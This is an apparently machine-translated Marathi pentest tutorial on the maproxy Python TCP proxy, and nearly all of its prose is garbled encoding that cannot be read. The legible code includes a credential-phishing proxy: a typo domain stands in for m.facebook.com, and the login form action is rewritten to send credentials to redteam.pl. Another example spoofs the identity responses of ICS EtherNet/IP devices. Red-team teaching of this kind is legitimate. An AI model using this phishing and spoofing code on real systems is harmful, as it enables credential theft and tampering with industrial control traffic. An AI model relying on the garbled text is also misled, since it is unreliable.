рдлреНрд▓рд╛рдпрд╡рд░ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛рд╡рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд░рд╛

рд▓реЗрдЦрд╛рдЪрд╛ рдЕрдиреБрд╡рд╛рдж рдЕрднреНрдпрд╛рд╕рдХреНрд░рдо рд╕реБрд░реВ рд╣реЛрдгреНрдпрд╛рдЪреНрдпрд╛ рдЖрджрд▓реНрдпрд╛ рджрд┐рд╡рд╢реА рддрдпрд╛рд░ рдХреЗрд▓рд╛ рд╣реЛрддрд╛ "рдкреЗрдВрдЯреЗрд╕реНрдЯ. рдкреНрд░рд╡реЗрд╢ рдЪрд╛рдЪрдгреА рд╕рд░рд╛рд╡".

рдлреНрд▓рд╛рдпрд╡рд░ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛рд╡рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд░рд╛

рд╕рд╛рд░

рдирд┐рдпрдорд┐рдд рдкреНрд░рд╡реЗрд╢ рдЪрд╛рдЪрдгреА рдЖрдгрд┐ рд░реЗрдб рдЯреАрдо рдСрдкрд░реЗрд╢рдиреНрд╕рдкрд╛рд╕реВрди рддреЗ IoT/ICS рдбрд┐рд╡реНрд╣рд╛рдЗрд╕реЗрд╕ рдЖрдгрд┐ SCADA рд╣реЕрдХрд┐рдВрдЧрдкрд░реНрдпрдВрддрдЪреНрдпрд╛ рд╡рд┐рд╡рд┐рдз рдкреНрд░рдХрд╛рд░рдЪреНрдпрд╛ рд╕реБрд░рдХреНрд╖рд╛ рдореВрд▓реНрдпрд╛рдВрдХрдирд╛рдВрдордзреНрдпреЗ рдмрд╛рдпрдирд░реА рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓рд╕рд╣ рдХрд╛рд░реНрдп рдХрд░рдгреЗ рд╕рдорд╛рд╡рд┐рд╖реНрдЯ рдЖрд╣реЗ, рдореНрд╣рдгрдЬреЗрдЪ рдХреНрд▓рд╛рдпрдВрдЯ рдЖрдгрд┐ рд▓рдХреНрд╖реНрдп рдпрд╛рдВрдЪреНрдпрд╛рддреАрд▓ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛рдордзреНрдпреЗ рдореВрд▓рдд: рдЕрдбрдерд│рд╛ рдЖрдгрдгреЗ рдЖрдгрд┐ рдмрджрд▓рдгреЗ. рдЖрдордЪреНрдпрд╛рдХрдбреЗ рд╡рд╛рдпрд░рд╢рд╛рд░реНрдХ, Tcpdump рдХрд┐рдВрд╡рд╛ Scapy рд╕рд╛рд░рдЦреА рд╕рд╛рдзрдиреЗ рдЕрд╕рд▓реНрдпрд╛рдореБрд│реЗ рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реЕрдлрд┐рдХ рд╕реНрдирд┐рдлрд┐рдВрдЧ рдХрд░рдгреЗ рд╣реЗ рдЕрд╡рдШрдб рдХрд╛рдо рдирд╛рд╣реА, рдкрд░рдВрддреБ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рд╡рд╛рдЪрдгреНрдпрд╛рд╕рд╛рдареА, рддреЛ рдлрд┐рд▓реНрдЯрд░ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА, рдмрджрд▓рдгреНрдпрд╛рд╕рд╛рдареА рдЖрдордЪреНрдпрд╛рдХрдбреЗ рдХрд╛рд╣реА рдкреНрд░рдХрд╛рд░рдЪрд╛ рдЗрдВрдЯрд░рдлреЗрд╕ рдЕрд╕рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЕрд╕рд▓реНрдпрд╛рдиреЗ рдмрджрд▓ рдХрд░рдгреЗ рд╣реЗ рдЕрдзрд┐рдХ рд╢реНрд░рдо-рдХреЗрдВрджреНрд░рд┐рдд рдХрд╛рд░реНрдп рдЕрд╕рд▓реНрдпрд╛рдЪреЗ рджрд┐рд╕рддреЗ. рддреЗ рдлреНрд▓рд╛рдпрд╡рд░ рдЖрдгрд┐ рдЬрд╡рд│рдЬрд╡рд│ рд░рд┐рдЕрд▓ рдЯрд╛рдЗрдордордзреНрдпреЗ рд▓рдХреНрд╖реНрдп рд╣реЛрд╕реНрдЯрдХрдбреЗ рдкрд░рдд рдкрд╛рдард╡рд╛. рдпрд╛рд╡реНрдпрддрд┐рд░рд┐рдХреНрдд, рдЕрд╕реЗ рд╕рд╛рдзрди рд╕реНрд╡рдпрдВрдЪрд▓рд┐рддрдкрдгреЗ рдПрдХрд╛рдзрд┐рдХ рд╕рдорд╛рдВрддрд░ рдХрдиреЗрдХреНрд╢рдирд╕рд╣ рдХрд╛рд░реНрдп рдХрд░реВ рд╢рдХрд▓реЗ рдЖрдгрд┐ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╡рд╛рдкрд░реВрди рд╕рд╛рдиреБрдХреВрд▓ рдХрд░рддрд╛ рдЖрд▓реЗ рддрд░ рддреЗ рдЖрджрд░реНрд╢ рд╣реЛрдИрд▓.

рдПрдХреЗ рджрд┐рд╡рд╢реА рдорд▓рд╛ рдПрдХ рд╕рд╛рдзрди рд╕рд╛рдкрдбрд▓реЗ maproxy, рджрд╕реНрддрдРрд╡рдЬреАрдХрд░рдгрд╛рдиреЗ рдорд▓рд╛ рддреЗ рдкрдЯрдХрди рд╕реНрдкрд╖реНрдЯ рдХреЗрд▓реЗ maproxy - рдорд▓рд╛ рдЬреЗ рд╣рд╡реЗ рдЖрд╣реЗ. рд╣реА рдПрдХ рдЕрдЧрджреА рд╕реЛрдкреА, рдмрд╣реБрдореБрдЦреА рдЖрдгрд┐ рд╕рд╣рдЬ рдХреЙрдиреНрдлрд┐рдЧрд░ рдХрд░рддрд╛ рдпреЗрдгрд╛рд░реА TCP рдкреНрд░реЙрдХреНрд╕реА рдЖрд╣реЗ. рдореА рд╣реЗ рд╕рд╛рдзрди рдЕрдиреЗрдХ рд╕рдорд╛рдВрддрд░ рдХрдиреЗрдХреНрд╢рди рд╣рд╛рддрд╛рд│реВ рд╢рдХрддреЗ рдХреА рдирд╛рд╣реА рд╣реЗ рдкрд╛рд╣рдгреНрдпрд╛рд╕рд╛рдареА ICS рдЙрдкрдХрд░рдгрд╛рдВрд╕рд╣ (рдЬреЗ рднрд░рдкреВрд░ рдкреЕрдХреЗрдЯ рддрдпрд╛рд░ рдХрд░рддрд╛рдд) рдмрд▒реНрдпрд╛рдЪ рдЬрдЯрд┐рд▓ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╛рдВрд╡рд░ рддрдкрд╛рд╕рд▓реЗ рдЖрдгрд┐ рд╕рд╛рдзрдирд╛рдиреЗ рдЪрд╛рдВрдЧрд▓реА рдХрд╛рдордЧрд┐рд░реА рдХреЗрд▓реА.

рд╣рд╛ рд▓реЗрдЦ рдлреНрд▓рд╛рдп рд╡рд╛рдкрд░реВрди рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛рд╡рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рддреБрдордЪреА рдУрд│рдЦ рдХрд░реВрди рджреЗрдИрд▓ maproxy.

рд╡рд┐рд╣рдВрдЧрд╛рд╡рд▓реЛрдХрди

рдЙрдкрдХрд░рдгреЗ maproxy Python рдордзреАрд▓ рд▓реЛрдХрдкреНрд░рд┐рдп рдЖрдгрд┐ рдкрд░рд┐рдкрдХреНрд╡ рдЕрд╕рд┐рдВрдХреНрд░реЛрдирд╕ рдиреЗрдЯрд╡рд░реНрдХрд┐рдВрдЧ рдлреНрд░реЗрдорд╡рд░реНрдХ, Tornado рд╡рд░ рдЖрдзрд╛рд░рд┐рдд рдЖрд╣реЗ.

рд╕рд░реНрд╡рд╕рд╛рдзрд╛рд░рдгрдкрдгреЗ, рддреЗ рдЕрдиреЗрдХ рдореЛрдбрдордзреНрдпреЗ рдХрд╛рд░реНрдп рдХрд░реВ рд╢рдХрддреЗ:

  • TCP:TCP - рдПрдирдХреНрд░рд┐рдкреНрдЯ рди рдХреЗрд▓реЗрд▓реЗ рдЯреАрд╕реАрдкреА рдХрдиреЗрдХреНрд╢рди;
  • TCP:SSL ╨╕ SSL:TCP - рд╡рди-рд╡реЗ рдПрдирдХреНрд░рд┐рдкреНрд╢рдирд╕рд╣;
  • SSL:SSL - рджреНрд╡рд┐-рдорд╛рд░реНрдЧ рдПрдирдХреНрд░рд┐рдкреНрд╢рди.

рддреЗ рд▓рд╛рдпрдмреНрд░рд░реА рдореНрд╣рдгреВрди рдпреЗрддреЗ. рджреНрд░реБрдд рдкреНрд░рд╛рд░рдВрднрд╛рд╕рд╛рдареА, рдЖрдкрдг рдореБрдЦреНрдп рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд рдХрд░рдгрд╛рд▒реНрдпрд╛ рдлрд╛рдпрд▓реА рдЙрджрд╛рд╣рд░рдгреЗ рд╡рд╛рдкрд░реВ рд╢рдХрддрд╛ рд▓рд╛рдпрдмреНрд░рд░реА рдХрд╛рд░реНрдпреЗ:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

рдХреЗрд╕ 1 - рд╕рд╛рдзреА рджреНрд╡рд┐рджрд┐рд╢рд╛рддреНрдордХ рдкреНрд░реЙрдХреНрд╕реА

рдЖрдзрд╛рд░реАрдд tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

рдореБрд▓рднреВрддрд░рд┐рддреНрдпрд╛ ProxyServer() рджреЛрди рдпреБрдХреНрддрд┐рд╡рд╛рдж рдШреЗрддреЗ - рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рди рдЖрдгрд┐ рд▓рдХреНрд╖реНрдп рдкреЛрд░реНрдЯ. server.listen() рдПрдХ рдпреБрдХреНрддрд┐рд╡рд╛рдж рдШреЗрддреЗ - рдпреЗрдгрд╛рд░реЗ рдХрдиреЗрдХреНрд╢рди рдРрдХрдгреНрдпрд╛рд╕рд╛рдареА рдкреЛрд░реНрдЯ.

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░рдгреЗ:

# python tcp2tcp.py

рдЪрд╛рдЪрдгреА рдЪрд╛рд▓рд╡рдгреНрдпрд╛рд╕рд╛рдареА, рдЖрдореНрд╣реА рдЖрдордЪреНрдпрд╛ рдкреНрд░реЙрдХреНрд╕реА рд╕реНрдХреНрд░рд┐рдкреНрдЯрджреНрд╡рд╛рд░реЗ рд╕реНрдерд╛рдирд┐рдХ SSH рд╕рд░реНрд╡реНрд╣рд░рд╢реА рдХрдиреЗрдХреНрдЯ рдХрд░рдгрд╛рд░ рдЖрд╣реЛрдд, рдЬреЗ рдпрд╛рд╡рд░ рдРрдХрддреЗ 2222/tcp рдкреЛрд░реНрдЯ рдЖрдгрд┐ рдорд╛рдирдХ рдкреЛрд░реНрдЯрд╢реА рдЬреЛрдбрддреЗ 22/tcp SSH рд╕рд░реНрд╡реНрд╣рд░:

рдлреНрд▓рд╛рдпрд╡рд░ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛рд╡рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд░рд╛

рд╕реНрд╡рд╛рдЧрдд рдмреЕрдирд░ рддреБрдореНрд╣рд╛рд▓рд╛ рд╕реВрдЪрд┐рдд рдХрд░рддреЛ рдХреА рдЖрдордЪреНрдпрд╛ рдЙрджрд╛рд╣рд░рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯрдиреЗ рдиреЗрдЯрд╡рд░реНрдХ рд░рд╣рджрд╛рд░реА рдпрд╢рд╕реНрд╡реАрдкрдгреЗ рдкреНрд░реЙрдХреНрд╕реА рдХреЗрд▓реА рдЖрд╣реЗ.

рдХреЗрд╕ 2 - рдбреЗрдЯрд╛ рдмрджрд▓

рджреБрд╕рд░реА рдбреЗрдореЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ logging_proxy.py рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛рд╢реА рд╕рдВрд╡рд╛рдж рд╕рд╛рдзрдгреНрдпрд╛рд╕рд╛рдареА рдЖрджрд░реНрд╢. рдлрд╛рдЗрд▓рдордзреАрд▓ рдЯрд┐рдкреНрдкрдгреНрдпрд╛ рд╡рд░реНрдЧ рдкрджреНрдзрддреАрдВрдЪреЗ рд╡рд░реНрдгрди рдХрд░рддрд╛рдд рдЬреНрдпрд╛ рддреБрдореНрд╣реА рддреБрдордЪреЗ рдзреНрдпреЗрдп рд╕рд╛рдзреНрдп рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рд╕реБрдзрд╛рд░реВ рд╢рдХрддрд╛:

рдлреНрд▓рд╛рдпрд╡рд░ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛рд╡рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд░рд╛

рд╕рд░реНрд╡рд╛рдд рдордиреЛрд░рдВрдЬрдХ рдЧреЛрд╖реНрдЯ рдпреЗрдереЗ рдЖрд╣реЗ:

  • on_c2p_done_read - рдХреНрд▓рд╛рдпрдВрдЯрдкрд╛рд╕реВрди рд╕рд░реНрд╡реНрд╣рд░рдХрдбреЗ рдЬрд╛рддрд╛рдирд╛ рдбреЗрдЯрд╛ рд░реЛрдЦрдгреНрдпрд╛рд╕рд╛рдареА;
  • on_p2s_done_read - рдЙрд▓рдЯ.

рд╕рд░реНрд╡реНрд╣рд░ рдХреНрд▓рд╛рдпрдВрдЯрдХрдбреЗ рдкрд░рдд рдпреЗрдгрд╛рд░рд╛ SSH рдмреЕрдирд░ рдмрджрд▓рдгреНрдпрд╛рдЪрд╛ рдкреНрд░рдпрддреНрди рдХрд░реВрдпрд╛:

[тАж]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[тАж]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[тАж]

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░рд╛:

рдлреНрд▓рд╛рдпрд╡рд░ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛рд╡рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд░рд╛

рддреБрдореНрд╣реА рдмрдШреВ рд╢рдХрддрд╛, рдХреНрд▓рд╛рдпрдВрдЯрдЪреА рджрд┐рд╢рд╛рднреВрд▓ рдЭрд╛рд▓реА рдХрд╛рд░рдг рддреНрдпрд╛рдЪреНрдпрд╛рд╕рд╛рдареА SSH рд╕рд░реНрд╡реНрд╣рд░рдЪреЗ рдирд╛рд╡ рдмрджрд▓рд▓реЗ рд╣реЛрддреЗ ┬лDumnySSH┬╗.

рдлреНрд▓рд╛рдпрд╡рд░ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛рд╡рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд░рд╛

рдХреЗрд╕ 3 - рд╕рд╛рдзреЗ рдлрд┐рд╢рд┐рдВрдЧ рд╡реЗрдм рдкреГрд╖реНрда

рд╣реЗ рд╕рд╛рдзрди рд╡рд╛рдкрд░рдгреНрдпрд╛рдЪреЗ рдЕрдВрддрд╣реАрди рдорд╛рд░реНрдЧ рдЖрд╣реЗрдд. рдпрд╛рд╡реЗрд│реА рд░реЗрдб рдЯреАрдо рдСрдкрд░реЗрд╢рдиреНрд╕рдЪреНрдпрд╛ рдмрд╛рдЬреВрдиреЗ рдЕрдзрд┐рдХ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдЧреЛрд╖реНрдЯреАрдВрд╡рд░ рд▓рдХреНрд╖ рдХреЗрдВрджреНрд░рд┐рдд рдХрд░реВрдпрд╛. рдЪрд▓рд╛ рд▓рдБрдбрд┐рдВрдЧ рдкреГрд╖реНрдард╛рдЪреЗ рдЕрдиреБрдХрд░рдг рдХрд░реВрдпрд╛ m.facebook.com рдЖрдгрд┐ рдореБрджреНрджрд╛рдо рдЯрд╛рдпрдкреЛрд╕рд╣ рд╕рд╛рдиреБрдХреВрд▓ рдбреЛрдореЗрди рд╡рд╛рдкрд░рд╛, рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, m.facebok.com. рдкреНрд░рд╛рддреНрдпрдХреНрд╖рд┐рдХ рд╣реЗрддреВрдВрд╕рд╛рдареА, рдЖрдкрдг рдЕрд╕реЗ рдЧреГрд╣реАрдд рдзрд░реВ рдХреА рдбреЛрдореЗрди рдЖрдордЪреНрдпрд╛рджреНрд╡рд╛рд░реЗ рдиреЛрдВрджрдгреАрдХреГрдд рдЖрд╣реЗ.

рдЖрдореНрд╣реА рдЖрдордЪреНрдпрд╛ рдкреАрдбрд┐рдд рдкреНрд░реЙрдХреНрд╕реА рдЖрдгрд┐ рдлреЗрд╕рдмреБрдХ рд╕рд░реНрд╡реНрд╣рд░рд╡рд░ рдПрд╕рдПрд╕рдПрд▓ рд╕реНрдЯреНрд░реАрдорд╕рд╣ рдПрдирдХреНрд░рд┐рдкреНрдЯреЗрдб рдиреЗрдЯрд╡рд░реНрдХ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдгрд╛рд░ рдЖрд╣реЛрдд (31.13.81.36). рд╣реЗ рдЙрджрд╛рд╣рд░рдг рдХрд╛рд░реНрдп рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА, рдЖрдореНрд╣рд╛рд▓рд╛ HTTP рд╣реЛрд╕реНрдЯ рд╢реАрд░реНрд╖рд▓реЗрдЦ рдкреБрдирд░реНрд╕реНрдерд┐рдд рдХрд░рдгреЗ рдЖрдгрд┐ рдпреЛрдЧреНрдп рд╣реЛрд╕реНрдЯрдирд╛рд╡ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ рдЖрдгрд┐ рдЖрдореНрд╣реА рдкреНрд░рддрд┐рд╕рд╛рдж рдХреЙрдореНрдкреНрд░реЗрд╢рди рджреЗрдЦреАрд▓ рдЕрдХреНрд╖рдо рдХрд░реВ рдЬреЗрдгреЗрдХрд░реВрди рдЖрдореНрд╣реА рд╕рд╛рдордЧреНрд░реАрдордзреНрдпреЗ рд╕рд╣рдЬ рдкреНрд░рд╡реЗрд╢ рдХрд░реВ рд╢рдХреВ. рд╢реЗрд╡рдЯреА рдЖрдореНрд╣реА HTML рдлреЙрд░реНрдо рдмрджрд▓реВ рдЬреЗрдгреЗрдХрд░реВрди рд▓реЙрдЧрд┐рди рдХреНрд░реЗрдбреЗрдиреНрд╢рд┐рдпрд▓ рдЖрдореНрд╣рд╛рд▓рд╛ Facebook рдЪреНрдпрд╛ рд╕рд░реНрд╡реНрд╣рд░рдРрд╡рдЬреА рдкрд╛рдард╡рд▓реЗ рдЬрд╛рддреАрд▓:

[тАж]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[тАж]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/mr/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[тАж]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[тАж]

рдЕрдЦреЗрд░реАрд╕:

рдлреНрд▓рд╛рдпрд╡рд░ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛рд╡рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд░рд╛

рддреБрдореНрд╣реА рдмрдШреВ рд╢рдХрддрд╛, рдЖрдореНрд╣реА рдореВрд│ рд╕рд╛рдЗрдЯ рдкреБрдирд░реНрд╕реНрдерд┐рдд рдХрд░рдгреНрдпрд╛рдд рдпрд╢рд╕реНрд╡реАрдкрдгреЗ рд╕рдХреНрд╖рдо рд╣реЛрддреЛ.

рдХреЗрд╕ 4 - рдЗрдерд░рдиреЗрдЯ/рдЖрдпрдкреА рдкреЛрд░реНрдЯрд┐рдВрдЧ

рдореА рдмрд▒реНрдпрд╛рдЪ рдХрд╛рд│рд╛рдкрд╛рд╕реВрди рдФрджреНрдпреЛрдЧрд┐рдХ рдЙрдкрдХрд░рдгреЗ рдЖрдгрд┐ рд╕реЙрдлреНрдЯрд╡реЗрдЕрд░ (ICS/SCADA) рд╣рд╛рддрд╛рд│рдд рдЖрд╣реЗ, рдЬрд╕реЗ рдХреА рдкреНрд░реЛрдЧреНрд░рд╛рдореЗрдмрд▓ рдХрдВрдЯреНрд░реЛрд▓рд░реНрд╕ (PLC), I/O рдореЙрдбреНрдпреВрд▓, рдбреНрд░рд╛рдЗрд╡реНрд╣, рд░рд┐рд▓реЗ, рд╢рд┐рдбреА рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рд╡рд╛рддрд╛рд╡рд░рдг рдЖрдгрд┐ рдмрд░реЗрдЪ рдХрд╛рд╣реА. рд╣реЗ рдкреНрд░рдХрд░рдг рдЬреНрдпрд╛рдВрдирд╛ рдФрджреНрдпреЛрдЧрд┐рдХ рдЧреЛрд╖реНрдЯреА рдЖрд╡рдбрддрд╛рдд рддреНрдпрд╛рдВрдЪреНрдпрд╛рд╕рд╛рдареА рдЖрд╣реЗ. рдЕрд╢рд╛ рд╕реЛрд▓реНрдпреВрд╢рдиреНрд╕ рд╣реЕрдХ рдХрд░рдгреНрдпрд╛рдордзреНрдпреЗ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓рд╕рд╣ рд╕рдХреНрд░рд┐рдпрдкрдгреЗ рдЦреЗрд│рдгреЗ рд╕рдорд╛рд╡рд┐рд╖реНрдЯ рдЖрд╣реЗ. рдЦрд╛рд▓реАрд▓ рдЙрджрд╛рд╣рд░рдгрд╛рдд, рддреБрдореНрд╣реА ICS/SCADA рдиреЗрдЯрд╡рд░реНрдХ рд░рд╣рджрд╛рд░реА рдХрд╢реА рд╕реБрдзрд╛рд░реВ рд╢рдХрддрд╛ рд╣реЗ рдореА рджрд╛рдЦрд╡реВ рдЗрдЪреНрдЫрд┐рддреЛ.

рдпрд╛рд╕рд╛рдареА рддреБрдореНрд╣рд╛рд▓рд╛ рдЦрд╛рд▓реАрд▓ рдЧреЛрд╖реНрдЯреАрдВрдЪреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдЕрд╕реЗрд▓:

  • рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдирд┐рдлрд░, рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, рд╡рд╛рдпрд░рд╢рд╛рд░реНрдХ;
  • рдЗрдерд░рдиреЗрдЯ/рдЖрдпрдкреА рдХрд┐рдВрд╡рд╛ рдлрдХреНрдд рдПрдХ рдПрд╕рдЖрдпрдкреА рдбрд┐рд╡реНрд╣рд╛рдЗрд╕, рддреБрдореНрд╣реА рд╢реЛрджрд╛рди рд╕реЗрд╡рд╛ рд╡рд╛рдкрд░реВрди рд╢реЛрдзреВ рд╢рдХрддрд╛;
  • рдЖрдордЪреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╛рд╡рд░ рдЖрдзрд╛рд░рд┐рдд рдЖрд╣реЗ maproxy.

рдкреНрд░рдердо, CIP (рдХреЙрдорди рдЗрдВрдбрд╕реНрдЯреНрд░рд┐рдпрд▓ рдкреНрд░реЛрдЯреЛрдХреЙрд▓) рдХрдбреВрди рд╡рд┐рд╢рд┐рд╖реНрдЯ рдУрд│рдЦ рдкреНрд░рддрд┐рд╕рд╛рдж рдХрд╕рд╛ рджрд┐рд╕рддреЛ рддреЗ рдкрд╛рд╣реВ:

рдлреНрд▓рд╛рдпрд╡рд░ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛рд╡рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд░рд╛

рдЗрдерд░рдиреЗрдЯ/рдЖрдпрдкреА рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╡рд╛рдкрд░реВрди рдЙрдкрдХрд░рдг рдУрд│рдЦ рдкреВрд░реНрдг рдХреЗрд▓реА рдЬрд╛рддреЗ, рдЬреА рдФрджреНрдпреЛрдЧрд┐рдХ рдЗрдерд░рдиреЗрдЯ рдкреНрд░реЛрдЯреЛрдХреЙрд▓рдЪреА рд╡рд░реНрдзрд┐рдд рдЖрд╡реГрддреНрддреА рдЖрд╣реЗ рдЬреА CIP рд╕рд╛рд░рдЦреНрдпрд╛ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░реЛрдЯреЛрдХреЙрд▓рд▓рд╛ рдЧреБрдВрдбрд╛рд│рддреЗ. рд╕реНрдХреНрд░реАрдирд╢реЙрдЯрдордзреНрдпреЗ рджрд┐рд╕рдгрд╛рд░реЗ рд╣рд╛рдпрд▓рд╛рдЗрдЯ рдХреЗрд▓реЗрд▓реЗ рдЖрдпрдбреА рдирд╛рд╡ рдЖрдореНрд╣реА рдмрджрд▓рдгрд╛рд░ рдЖрд╣реЛрдд "рдЗрдерд░рдиреЗрдЯрд╕рд╛рдареА NI-IndComm" рдЖрдордЪреА рдкреНрд░реЙрдХреНрд╕реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╡рд╛рдкрд░реВрди. рдЖрдореНрд╣реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкреБрдиреНрд╣рд╛ рд╡рд╛рдкрд░реВ рд╢рдХрддреЛ logging_proxy.py рдЖрдгрд┐ рддреНрдпрд╛рдЪрдкреНрд░рдорд╛рдгреЗ рд╡рд░реНрдЧ рдкрджреНрдзрддреАрдд рдмрджрд▓ рдХрд░рд╛ on_p2s_done_read, рдХрд╛рд░рдг рдХреНрд▓рд╛рдпрдВрдЯрд╡рд░ рд╡реЗрдЧрд│реЗ рдУрд│рдЦреАрдЪреЗ рдирд╛рд╡ рджрд┐рд╕рд╛рд╡реЗ рдЕрд╕реЗ рдЖрдореНрд╣рд╛рд▓рд╛ рд╡рд╛рдЯрддреЗ.

рдХреЛрдбрдГ

[тАж]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[тАж]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[тАж]

рдореВрд▓рдд:, рдЖрдореНрд╣реА рджреЛрдирджрд╛ рдбрд┐рд╡реНрд╣рд╛рдЗрд╕ рдУрд│рдЦреАрд╕рд╛рдареА рд╡рд┐рдЪрд╛рд░рд▓реЗ, рджреБрд╕рд░рд╛ рдкреНрд░рддрд┐рд╕рд╛рдж рдореВрд│ рд╣реЛрддрд╛ рдЖрдгрд┐ рдкрд╣рд┐рд▓рд╛ рдкреНрд░рддрд┐рд╕рд╛рдж рдлреНрд▓рд╛рдпрд╡рд░ рд╕реБрдзрд╛рд░рд┐рдд рдХреЗрд▓рд╛ рдЧреЗрд▓рд╛.

рдЖрдгрд┐ рд╢реЗрд╡рдЯрдЪрд╛

рдорд╛рдЭреНрдпрд╛ рдорддреЗ maproxy рдПрдХ рд╕реЛрдпреАрд╕реНрдХрд░ рдЖрдгрд┐ рд╕реЛрдкреЗ рд╕рд╛рдзрди, рдЬреЗ Python рдордзреНрдпреЗ рджреЗрдЦреАрд▓ рд▓рд┐рд╣рд┐рд▓реЗрд▓реЗ рдЖрд╣реЗ, рддреНрдпрд╛рдореБрд│реЗ рдорд▓рд╛ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдЖрд╣реЗ рдХреА рддреБрдореНрд╣рд╛рд▓рд╛ рджреЗрдЦреАрд▓ рддреЗ рд╡рд╛рдкрд░реВрди рдлрд╛рдпрджрд╛ рд╣реЛрдК рд╢рдХрддреЛ. рдЕрд░реНрдерд╛рдд, рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛рд╡рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдЖрдгрд┐ рд╕реБрдзрд╛рд░рд┐рдд рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╕рд╛рдзрдиреЗ рдЖрд╣реЗрдд, рдкрд░рдВрддреБ рддреНрдпрд╛рдВрдирд╛ рджреЗрдЦреАрд▓ рдЕрдзрд┐рдХ рд▓рдХреНрд╖ рджреЗрдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ рдЖрдгрд┐ рддреЗ рд╕рд╣рд╕рд╛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡рд╛рдкрд░рд╛рд╕рд╛рдареА рддрдпрд╛рд░ рдХреЗрд▓реЗ рдЬрд╛рддрд╛рдд, рдЙрджрд╛. рдореБрд░реИрдирд╛, рдореЛрдбрд▓рд┐рд╖реНрдХрд╛ рдХрд┐рдВрд╡рд╛ evilginx 